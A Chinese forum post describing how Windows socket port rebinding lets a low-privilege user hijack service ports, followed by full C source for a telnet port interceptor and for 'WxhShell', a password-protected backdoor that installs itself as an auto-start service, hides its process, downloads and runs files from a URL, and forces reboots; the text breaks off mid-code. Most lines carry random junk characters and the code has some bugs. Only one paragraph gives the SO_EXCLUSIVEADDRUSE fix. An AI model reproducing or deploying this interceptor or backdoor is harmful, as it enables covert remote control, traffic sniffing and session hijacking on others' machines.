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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *^c4q|G.-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /^uvY  
1elcP`N1  
  saddr.sin_family = AF_INET; ]qXHalHY  
FTCp3g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -ihF)^"a  
}#<Sq57n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;y6Jo  
5vbnO]8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >o 3X)  
P xpz7He  
  这意味着什么?意味着可以进行如下的攻击: Di*+Cz;gK  
j#&sZ$HQ4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4>Uo0NfL  
l(=#c/f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  e^&YQl  
um#;S;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 92Ar0j]  
M|d[iaM,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v_c'npC  
![abDT5![  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {,APZ`q|  
c#"\&~. P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _5 tw1 >  
5B2x# m|8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bHS2;K~  
K!I]/0L  
  #include `y YgL@Zt  
  #include dN |w;|M  
  #include //ZB B,[@  
  #include    GeHDc[7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >+vWtO 2  
  int main() :1Fm~'  
  { B"KsYB79t  
  WORD wVersionRequested; *$# r%  
  DWORD ret; U"m!f*a  
  WSADATA wsaData; kP;:s  
  BOOL val; (= !_ 5l  
  SOCKADDR_IN saddr; XZ|"7as  
  SOCKADDR_IN scaddr; n#J$=@  
  int err; ]; ^OY\,  
  SOCKET s; #(aROTV5a  
  SOCKET sc;  b 1[U 9  
  int caddsize; 5)$U<^uy  
  HANDLE mt; /=e[(5X|O  
  DWORD tid;   bq(*r:`"  
  wVersionRequested = MAKEWORD( 2, 2 ); BLaX p0  
  err = WSAStartup( wVersionRequested, &wsaData ); 'd U$QO  
  if ( err != 0 ) { RTY$oUqlZ  
  printf("error!WSAStartup failed!\n"); o=`9JKB~  
  return -1; ( ?/0$DB  
  } TdQ^^{SRp  
  saddr.sin_family = AF_INET; r]HLO'<]  
   !%s7I ^f*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "apv)xdW  
KG3*~G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =JVRm 2#*  
  saddr.sin_port = htons(23); IB!Wrnj?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2WUBJ-qnuT  
  { |%RFXkHS  
  printf("error!socket failed!\n"); GU[ Cq=k  
  return -1; `=KrV#/758  
  } zi-+@9T  
  val = TRUE; TS[Z<m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b$$XriD]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wd#AA#J;*  
  { /XMmE  
  printf("error!setsockopt failed!\n"); GrQl3 Xi  
  return -1; 8V|-BP5^  
  } jQ^Ib]"K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HJcZ~5jf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >8 JvnBFx=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Bp/8 >E O`  
GzB%vsv9 5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "V^jAPDXb  
  { %[Ds-my2  
  ret=GetLastError(); Y 4714  
  printf("error!bind failed!\n"); &9ZIf#R  
  return -1; H~G=0_S  
  } CqX%V":2  
  listen(s,2);  aZ0H)  
  while(1) \!^o<$s.G  
  { Aj`4uFhiL  
  caddsize = sizeof(scaddr);  C|lMXp\*  
  //接受连接请求 GecXMAa:2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [KE4wz+s{  
  if(sc!=INVALID_SOCKET) BuvBSLC~  
  { u?J(l)gd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CD tYj  
  if(mt==NULL) Q-au)R,  
  { -[`W m7en  
  printf("Thread Creat Failed!\n"); 3+$O#>  
  break; 8/F2V?iT  
  } R|M:6]}   
  } s24H.>Z  
  CloseHandle(mt); C {,d4KG  
  } (i?^g &  
  closesocket(s); 6h,'#|:d  
  WSACleanup(); #[xNE C)  
  return 0; `aL|qyrq#  
  }   ~uadivli  
  DWORD WINAPI ClientThread(LPVOID lpParam) D 'cY7P  
  { + f!,K  
  SOCKET ss = (SOCKET)lpParam; y PYJc  
  SOCKET sc; ?4e6w  
  unsigned char buf[4096]; #Hi]&)p_  
  SOCKADDR_IN saddr; JWHt|zB g  
  long num; 3^> a TU<Z  
  DWORD val; od*Z$Hb>'  
  DWORD ret; vN:[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )C]&ui~1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *Ne&SXg  
  saddr.sin_family = AF_INET; c8tC3CrKp=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h;qy5KS  
  saddr.sin_port = htons(23); ^alZ\!B8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R2THL  
  { f\|?_k]  
  printf("error!socket failed!\n"); {@__%=`CCS  
  return -1; K#hYbDm  
  } qO{ ZZ*  
  val = 100; 2, V+?'^j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PMhhPw]  
  { 1Dp @n  
  ret = GetLastError(); L~y tAZ,  
  return -1; 'h>5&=r  
  } lc7a@qnw   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bDBO+qA  
  { zL`uiZl  
  ret = GetLastError(); `(/saq*  
  return -1; (0#F]""\e  
  } =4<S8Cp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X|E+K  
  { rw[{@|)'z  
  printf("error!socket connect failed!\n"); "%''k~UD 4  
  closesocket(sc); ds;cfj[  
  closesocket(ss); nVn|$ "r  
  return -1; 4z%#ZIy3   
  } rn:zKTyhw  
  while(1) !L. K)9I  
  { dP7Vs a+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?4[Oh/]R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SiqX1P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }BdVD t  
  num = recv(ss,buf,4096,0); dIpW!Pj^  
  if(num>0) Yz-JI=  
  send(sc,buf,num,0); z<%g #bo  
  else if(num==0) w&yGYHg  
  break; Ocwp]Mut&  
  num = recv(sc,buf,4096,0); '&:1?i)  
  if(num>0) ^M"z1B]  
  send(ss,buf,num,0); bk"k&.C^+  
  else if(num==0) 15KV} ){  
  break; M&/aJRBS  
  } Fiu!!M6  
  closesocket(ss); ;=+Zw1/g  
  closesocket(sc); ,ah*!Zm.kk  
  return 0 ; k l!?/M  
  } +6hl@Fm(  
.^~l_ LkA  
u}}9j&^Xa  
========================================================== Z%5nVsm:G  
g:DTVq  
下边附上一个代码,,WXhSHELL 4s~HfxYT  
#CA%]*l*F  
========================================================== y (nsyA  
VP %i1|XZJ  
#include "stdafx.h" =vr Y{5!>  
!Wixs]od   
#include <stdio.h> + sywgb)  
#include <string.h> &^7uv0M<y  
#include <windows.h> /X^3=-{8  
#include <winsock2.h> yw.~trF&%  
#include <winsvc.h> +rsl( 08FY  
#include <urlmon.h> g 6VD_  
?QMclzh*-  
#pragma comment (lib, "Ws2_32.lib") }#OqU# q|  
#pragma comment (lib, "urlmon.lib") o"#TZB+k  
}B=qH7u.K  
#define MAX_USER   100 // 最大客户端连接数 YWRE&MQ_  
#define BUF_SOCK   200 // sock buffer w=D%D8 r2  
#define KEY_BUFF   255 // 输入 buffer UV']NH h  
lH)em.#  
#define REBOOT     0   // 重启 #~4{`]W6  
#define SHUTDOWN   1   // 关机 vXWsF\g  
z$c&=Q  
#define DEF_PORT   5000 // 监听端口 hD6JW-  
cZe'!CQS  
#define REG_LEN     16   // 注册表键长度 7Aio`&^  
#define SVC_LEN     80   // NT服务名长度 @ )vy'qP d  
f2 ydL/M,  
// 从dll定义API 0L:V#y-*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j,=*WG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]l=O%Ev  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eu}Fd@GO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B;GxfYj  
L1 9 MP  
// wxhshell配置信息 x2C/L  
struct WSCFG { =t3vbV  
  int ws_port;         // 监听端口 N.0HfYf  
  char ws_passstr[REG_LEN]; // 口令 Ht|",1yr+  
  int ws_autoins;       // 安装标记, 1=yes 0=no $N;"}G z  
  char ws_regname[REG_LEN]; // 注册表键名 >*`>0Q4y  
  char ws_svcname[REG_LEN]; // 服务名 ?ds f@\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3>Q@r>c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ADYx.8M|9i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8cK\myn.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =w ^TcV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Vo"AuC}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -9OMn}w/*  
(Qk&g"I  
}; [,O`MU  
! Ea&]G  
// default Wxhshell configuration cBifZv*l  
struct WSCFG wscfg={DEF_PORT, ^]$$)(jw  
    "xuhuanlingzhe", j:3EpD@GS  
    1, d"H<e}D  
    "Wxhshell", _W0OM[  
    "Wxhshell", D =r-  
            "WxhShell Service", H>?:U]  
    "Wrsky Windows CmdShell Service", J>=1dCK  
    "Please Input Your Password: ", k42b:W5%  
  1, Es'-wr\Hm  
  "http://www.wrsky.com/wxhshell.exe", :be:-b%K  
  "Wxhshell.exe" >|a\>UgC  
    }; e0f":Vct  
 yS[z2:!  
// 消息定义模块 ;/@?6T"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J3;Tm~KJ_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h/I@_?k+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3`58ah  
char *msg_ws_ext="\n\rExit."; uR#'lb`3  
char *msg_ws_end="\n\rQuit."; IQ3n@  
char *msg_ws_boot="\n\rReboot..."; .OmQ'  
char *msg_ws_poff="\n\rShutdown..."; NW{y% Z  
char *msg_ws_down="\n\rSave to "; 6Z~Ya\~.g.  
.zvlRt.zl  
char *msg_ws_err="\n\rErr!"; &/s~? Iq  
char *msg_ws_ok="\n\rOK!"; \ V6   
}{ n\tzR  
char ExeFile[MAX_PATH]; +0]'| tF>  
int nUser = 0; g<fDY6jt  
HANDLE handles[MAX_USER]; [ njx7d  
int OsIsNt; Bv^+d\*1  
Z^s+vi  
SERVICE_STATUS       serviceStatus; 3->,So0Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y7/PDB\he  
}0QN[$H!  
// 函数声明 k/G7.)C  
int Install(void); 'pan9PW  
int Uninstall(void); XwcMt r*  
int DownloadFile(char *sURL, SOCKET wsh); 3brb*gI_b  
int Boot(int flag);  bH*@,EE  
void HideProc(void); 42fprt  
int GetOsVer(void); Q[M (Wqg  
int Wxhshell(SOCKET wsl); (lb6]MtTHY  
void TalkWithClient(void *cs); '!!e+\h#  
int CmdShell(SOCKET sock); :.#z  
int StartFromService(void); "YJ[$TG  
int StartWxhshell(LPSTR lpCmdLine); nO~b=qO  
dM Y 0K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %c]nWR+/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;a |`s  
 ]nUR;8  
// 数据结构和表定义 cTM$ZNin  
SERVICE_TABLE_ENTRY DispatchTable[] = 7_DG 5nT  
{ D!oZ?dGCo6  
{wscfg.ws_svcname, NTServiceMain}, i;c'P}[K  
{NULL, NULL} Pg/T^n&  
}; V1<ow'^i  
%`#G92Z_  
// 自我安装 8O6_iGTBh  
int Install(void) YG4WS |  
{ aqF+zPKs6  
  char svExeFile[MAX_PATH]; 5C/2b.-[  
  HKEY key; LfEvc2 v=g  
  strcpy(svExeFile,ExeFile); R :"+ #Sq  
Z!= L   
// 如果是win9x系统,修改注册表设为自启动 ;)?( 2 wP  
if(!OsIsNt) { AH^e]<2-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dIk' pA^d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B/mYoK  
  RegCloseKey(key); / |GT\X4o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KbAR_T1n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  1Ao6y.S  
  RegCloseKey(key); )GVBE%!WEd  
  return 0; u FZ~  
    } 4qt+uNe!  
  } IZ*}idlkn/  
} 'w(y J  
else { ;K_}A4K  
JWWYVl VC  
// 如果是NT以上系统,安装为系统服务 f])M04<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NPm;  
if (schSCManager!=0) 9JPEj-3`g  
{ T"?Y5t`(  
  SC_HANDLE schService = CreateService Q&xjF@I  
  ( zsDocR   
  schSCManager, daslaa_A  
  wscfg.ws_svcname, ;WD,x:>blO  
  wscfg.ws_svcdisp, f^p^Y F+  
  SERVICE_ALL_ACCESS, EUy(T1Cl&&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xYI;V7  
  SERVICE_AUTO_START, .n`( X#,*l  
  SERVICE_ERROR_NORMAL, 6\4Z\82  
  svExeFile, l&L,7BX  
  NULL, RNTa XR+Zn  
  NULL, CbOCk:,g5  
  NULL, Stxp3\jEn  
  NULL, q\R q!7(  
  NULL #{$1z;i?f  
  ); sw$2d  
  if (schService!=0) H\E7o" m  
  { jY/ARBC}H  
  CloseServiceHandle(schService); URA0ey`  
  CloseServiceHandle(schSCManager); ]tB@kBi "  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U\jb"  
  strcat(svExeFile,wscfg.ws_svcname); #op:/j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @QdnjXII*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +@ MPQv  
  RegCloseKey(key); mu[Op*)  
  return 0; SO;N~D1Z6  
    } 2no$+4+z  
  } ;~+]! U  
  CloseServiceHandle(schSCManager); lpy:3`ti  
} bb;(gK;F  
} qsI^oBD"  
QXVC\@  
return 1; j13DJ.xu  
} 2.-o@im0  
?mx\eX{  
// 自我卸载 -\#lF?fzb  
int Uninstall(void) &gn-Wb?  
{ "uKFOV?j&  
  HKEY key; 83 I-X95  
pJBg?D  
if(!OsIsNt) { +C+<BzR~A.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ez\eOH6  
  RegDeleteValue(key,wscfg.ws_regname); J;}3t!  
  RegCloseKey(key); ?Ik4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~y /!fnv  
  RegDeleteValue(key,wscfg.ws_regname); A]o4Mf0>I  
  RegCloseKey(key); hJ*Ihwn|  
  return 0; ObG=>WPJa  
  } SV.z>p  
} s5D:  
} n2f6 p<8A  
else { #HAC*n  
< Ek/8x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HYCuK48F[_  
if (schSCManager!=0) 0[T,O,y  
{ iWA|8$u4gm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h3!$r~T!a:  
  if (schService!=0) PFrfd_s{>\  
  { ]$A(9Pn"  
  if(DeleteService(schService)!=0) { wL}l`fRB  
  CloseServiceHandle(schService); IP3E9z_ L  
  CloseServiceHandle(schSCManager); XNehPZYS  
  return 0; v^N`IJq  
  } J?&l*_m;t  
  CloseServiceHandle(schService); CMW,slC_3  
  } ,.tfWN%t\  
  CloseServiceHandle(schSCManager); 9Uf j  
} +f|BiW  
} W),l  
<a( }kk}  
return 1; >Cr\y  
} %lw! e  
{X~ gwoz  
// 从指定url下载文件 n,$z>  
int DownloadFile(char *sURL, SOCKET wsh) !H@0MQ7  
{ g}x(hF  
  HRESULT hr; 2% B'3>a  
char seps[]= "/"; -WJ?:?'  
char *token; (MLwQiop  
char *file; Y?d9l  
char myURL[MAX_PATH]; hK|j6x f.o  
char myFILE[MAX_PATH]; #%lo;W~IY  
\%0n}.A  
strcpy(myURL,sURL); r'GP$0rr9!  
  token=strtok(myURL,seps); U{@5*4  
  while(token!=NULL) T/1gI9 X  
  { rl08 R  
    file=token; pkgjTXR2b  
  token=strtok(NULL,seps); BlA[T%  
  } "IQ/LbOqm_  
=elpH^N  
GetCurrentDirectory(MAX_PATH,myFILE); ZcJ\ZbE|  
strcat(myFILE, "\\"); K/=|8+IDL  
strcat(myFILE, file); "Gb1K9A im  
  send(wsh,myFILE,strlen(myFILE),0); eHiy,IN  
send(wsh,"...",3,0); a^U~0i@[S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )2IH 5  
  if(hr==S_OK) [ic870_  
return 0; O@V%Cu  
else r!PpUwod  
return 1; Z?5V4F:f  
=O).Lx2J  
} "A$!, PX6  
t. ='/`!N  
// 系统电源模块 #S]ER907  
int Boot(int flag) qOih`dla  
{ ar9]"s+'  
  HANDLE hToken; ;r[@v347  
  TOKEN_PRIVILEGES tkp; Ej ".axjT  
W2FD+ wt  
  if(OsIsNt) { _tTNG2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gKYfQ+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $5D,sEC@  
    tkp.PrivilegeCount = 1; -i yyn ^|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ngohtB^]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j)C,%Ol  
if(flag==REBOOT) { ^T"vX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L|P5=/d  
  return 0; ^. dsW0"0  
} &|3 $!S  
else { uN([*'0Cg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZOCDA2e(j  
  return 0; }XO K,Hw  
} 0Z[oKXm1p  
  } ]vWKR."4  
  else { VXIP0p@  
if(flag==REBOOT) { jB{4\)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hd),&qoW?  
  return 0; u! "t!2I  
} ~T&<CTh  
else { l&iq5}[n&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s7Ub@  
  return 0; 6f')6X'x  
} "#[!/\=?:  
} MjlP+; !  
$YN6<5R)  
return 1; x8S7oO7  
} -gSUjP  
])xx<5Jt4  
// win9x进程隐藏模块 P:30L'.=[  
void HideProc(void) 5?hw !  
{ %?e& WLS  
N(I&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %3NqSiMs  
  if ( hKernel != NULL ) <B9C*M"4%  
  { ):i&`}SY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CC#;c1t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d ,4]VE  
    FreeLibrary(hKernel); yW$0\E6<r  
  } 0 stc9_O  
_%5R o6  
return; ]]Cb$$Td  
} O8B\{T1  
&f ^,la  
// 获取操作系统版本  =-IbS}3  
int GetOsVer(void) tjupJ*Rt  
{ C:PMewn  
  OSVERSIONINFO winfo; O3I8k\`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uc;8 K,[t  
  GetVersionEx(&winfo); n4}B r;%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?b(=1S\E'^  
  return 1; ?VP8ycm  
  else N5a*7EJv+  
  return 0; G6T_O  
} xuqv6b.  
a)wJT`xu  
// 客户端句柄模块 .zi_[  
int Wxhshell(SOCKET wsl) eeyHy"@  
{ 1oc3$A  
  SOCKET wsh; 0aG ni|  
  struct sockaddr_in client; rg^'S1x|  
  DWORD myID; e" St_z(  
j'A_'g'^  
  while(nUser<MAX_USER) dBz/7&Q   
{ TWA-.>c  
  int nSize=sizeof(client); Z'"tB/=W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :]\([Q+a  
  if(wsh==INVALID_SOCKET) return 1; eEuvl`&  
<StN%2WQ1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .&DhN#EN0  
if(handles[nUser]==0) +j< p \Kn>  
  closesocket(wsh); ,6-:VIHQ  
else Wk)OkIFR  
  nUser++; \O2Rhz  
  } 3B84^>U<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U4d:] z  
vEJWFoeEFm  
  return 0; 0cj>mj1M  
} OX\A|$GS  
3yVMXK  
// 关闭 socket 59h)-^!  
void CloseIt(SOCKET wsh) f|\onHI)>  
{ C{U?0!^  
closesocket(wsh); &5yV xL:  
nUser--; <g"{Wv: h  
ExitThread(0); e)d`pQ6  
} <J) ]mh dm  
'@_d(N1jTw  
// 客户端请求句柄 |olA9mp|]  
void TalkWithClient(void *cs) nAv#?1cjz  
{ aDU<wxnSvO  
|?,A]|j  
  SOCKET wsh=(SOCKET)cs; 1q7|OWFT  
  char pwd[SVC_LEN]; f4fvrL  
  char cmd[KEY_BUFF]; N sXHO  
char chr[1]; 8WXQ Oo8  
int i,j; PvPOU"  
,Q  
  while (nUser < MAX_USER) { OCe!.`  
fU/>z]K  
if(wscfg.ws_passstr) { )Y"+,$$>Y`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VK m&iidU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +S o4rA*9  
  //ZeroMemory(pwd,KEY_BUFF); R!}H;[c  
      i=0; 6^]+[q}3  
  while(i<SVC_LEN) { !|^|,"A)  
b3=rG(0f  
  // 设置超时 8A##\j )  
  fd_set FdRead; vS;RJg=  
  struct timeval TimeOut; %)1y AdG 8  
  FD_ZERO(&FdRead); CsGx@\jN  
  FD_SET(wsh,&FdRead); >;e~WF>+K  
  TimeOut.tv_sec=8; Kp%2k^U  
  TimeOut.tv_usec=0; G<65H+)M\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >qnko9V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wW>A_{Y  
M:Pc,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xF!,IKlBBp  
  pwd=chr[0]; LSL/ZvSP  
  if(chr[0]==0xd || chr[0]==0xa) { akp-zn&je  
  pwd=0; =$'6(aDH  
  break; ^aItoJq  
  } p`olCp'  
  i++; u^^[Q2LDU}  
    } BC^ :=  
b RFLcM  
  // 如果是非法用户,关闭 socket y%"{I7!A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DX#Nf""Pw  
} ~Y^+M*   
Sc]B#/~B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +}Dw3;W}m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xQ7l~O b  
fDv2JdiU  
while(1) { -_=nDH  
,LHn90S  
  ZeroMemory(cmd,KEY_BUFF); 3c-GY:VkLM  
~~D{spMVO  
      // 自动支持客户端 telnet标准   ZgTW.<.%2  
  j=0; {'7B6  
  while(j<KEY_BUFF) { - YEZ]:"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ha]VWt%}  
  cmd[j]=chr[0]; ]E5o1eeg  
  if(chr[0]==0xa || chr[0]==0xd) { n@<YI  
  cmd[j]=0; V'z1  
  break; i1}:8Unxf  
  } G|bT9f$  
  j++; f z'@_4hg  
    } LBw1g<&  
g];!&R-  
  // 下载文件 p_RsU`[  
  if(strstr(cmd,"http://")) { Wf+cDpK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $0W|26;  
  if(DownloadFile(cmd,wsh)) g2+2%6m0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1Yp1"2b[  
  else 8I=2lK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =9H7N]*h  
  } zVViLUwG  
  else { 5%Y3 Kwyy  
{&&z-^  
    switch(cmd[0]) { ?g_3 [Fk  
  ; 5*&xz  
  // 帮助 7r6.n61F  
  case '?': { j`{?OYD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y`~Ut:fZ  
    break; HY56"LZ$(}  
  } zYH&i6nj  
  // 安装 sA+ }TNhq  
  case 'i': { )W^F2-{  
    if(Install()) ju8> :y8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1KU! tL  
    else )v'WWwXY>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l0|5t)jF-  
    break; \[;0 KV_  
    } )*$lp'~7N  
  // 卸载 O %\*@4zM  
  case 'r': { fBU`k_  
    if(Uninstall()) 6_(&6]}66  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d-oMQGOklb  
    else { a =#B)6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W_JlOc!y  
    break; Sj3+l7S?  
    } p?02C# p  
  // 显示 wxhshell 所在路径 l[dK[4  
  case 'p': { wo3d#=   
    char svExeFile[MAX_PATH];  eb ?x9h  
    strcpy(svExeFile,"\n\r"); &sl0W-;0  
      strcat(svExeFile,ExeFile); y\/1/WjBn  
        send(wsh,svExeFile,strlen(svExeFile),0); ))qy;Q,  
    break; C"y(5U)d  
    } dn& s*  
  // 重启 #NQMy:JHD)  
  case 'b': { .j ?W>F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !Z1@}`V&;  
    if(Boot(REBOOT)) 0 j^Kgx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B`EJb71^Xy  
    else { l5~os>  
    closesocket(wsh); d9k0F OR1  
    ExitThread(0); zrvF]|1UP  
    } )~X2 &^orW  
    break; "fb[23g%@k  
    } Q-(zwAaE  
  // 关机 ~]sc^[  
  case 'd': { irZ])a  
